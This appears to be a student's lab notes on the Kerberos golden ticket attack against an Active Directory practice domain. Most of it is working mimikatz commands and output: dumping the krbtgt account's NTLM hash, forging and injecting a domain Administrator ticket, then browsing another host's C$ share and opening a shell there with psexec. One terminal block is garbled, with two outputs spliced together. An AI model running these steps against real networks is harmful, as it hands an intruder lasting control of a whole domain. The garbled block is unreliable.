

# GOLDEN TICKET ATTACK

THIS ONLY WORKS IF WE CAN COMPROMISE THE KERBROAT ACCOUNT, AND THIS ATTACK ALLOWS US TO GENERATE TICKET.

RUN THE COMMAND LSADUMP::LSA /INJECT /NAME:KRBtgt TO FIND ITS SID AND ITS HASH

```
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : MARVEL / S-1-5-21-3403182411-459653420-1660587703
RID : 000001f6 (502)
User : krbtgt

* Primary
  NTLM : 60dc7134e727b0c3924643dc8bca1516
  LM :
Hash NTLM: 60dc7134e727b0c3924643dc8bca1516
ntlm- 0: 60dc7134e727b0c3924643dc8bca1516
lm - 0: 09fc77ac590572bcadc778eda41cc5ff
```

SID: SECURITY IDENTIFIER. là một mã định dạng cho mỗi đối tượng trong windows (user, group)

GENERATE THE TICKET TO ACCESS TO ALL THE SERVICE OR ANY ACCOUNT WE WANT

```
Random Value : 77b45e1904c6a28dcd1bc45f1498b49e
HASH          RID: ADMIN ACCOUNT OF 500          SID          USERNAME
mimikatz # kerberos::golden /User:Administrator /domain:marvel.local /sid:S-1-5-21-3403182411-459653420-1660587703 /krbtgt:60dc7134e727b0c3924643dc8bca1516 /id:500 /ptt PASS THE TICKET
```

```
Random Value : 77b45e1904c6a28dcd1bc45f1498b49e
mimikatz # kerberos::golden /User:Administrator /domain:marvel.local /sid:S-1-5-21-3403182411-459653420-1660587703 /krbtgt:60dc7134e727b0c3924643dc8bca1516 /id:500 /ptt
User : Administrator
Domain : marvel.local (MARVEL)
SID : S-1-5-21-3403182411-459653420-1660587703
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 60dc7134e727b0c3924643dc8bca1516 - rc4_hmac_nt
Lifetime : 8/22/2022 3:57:23 PM ; 8/19/2032 3:57:23 PM ; 8/19/2032 3:57:23 PM
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'Administrator @ marvel.local' successfully submitted for current session
mimikatz #
```

RUN THIS COMMAND TO OPEN NEW TERMINAL TO GAIN ACCESS TO OTHER MACHINES

```
mimikatz Administrator: C:\Windows\SYSTEM32\cmd.exe
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

* NTLM
Ran C:\Users\Administrator\Desktop>dir \\THEPUNISHER\c$
Volume in drive \\THEPUNISHER\c$ has no label.
Volume Serial Number is 586E-F383

mimikatz Directory of \\THEPUNISHER\c$
gt:60dc7
User
Domain
SID 08/16/2022 03:50 PM <DIR> New folder
User Id 12/07/2019 02:14 AM <DIR> PerfLogs
Groups 08/18/2022 02:13 PM <DIR> Program Files
Service 10/06/2021 06:58 AM <DIR> Program Files (x86)
Lifetime 08/20/2022 03:43 PM <DIR> Share
-> Tick 08/16/2022 01:47 PM <DIR> Users
08/20/2022 09:29 PM <DIR> Windows
* PAC g 0 File(s) 0 bytes
* PAC s 7 Dir(s) 65,232,896 bytes free
* EncTi
* EncTi C:\Users\Administrator\Desktop>dir \\THEPUNISHER\
* KrbCr The specified path is invalid.

Golden t C:\Users\Administrator\Desktop>dir \\THEPUNISHER
The filename, directory name, or volume label syntax is incorrect.
mimikatz
Patch OK C:\Users\Administrator\Desktop>dir \\THEPUNISHER\c$
Volume in drive \\THEPUNISHER\c$ has no label.
mimikatz Volume Serial Number is 586E-F383

Directory of \\THEPUNISHER\c$
```

OTHER OPTIONS:

WE CAN USE PSEXEC ON DC TO GAIN SHELL AS WELL

```
C:\Users\Administrator\Downloads>psexec.exe \\THEPUNISHER cmd.exe
```

```
C:\PSTools>psexec \\10.0.2.14 cmd

PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.19044.1889]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>dir
Volume in drive C has no label.
Volume Serial Number is 0AD8-701B

Directory of C:\Windows\system32
```

```
C:\Windows\system32>hostname
SPIDERMAN
```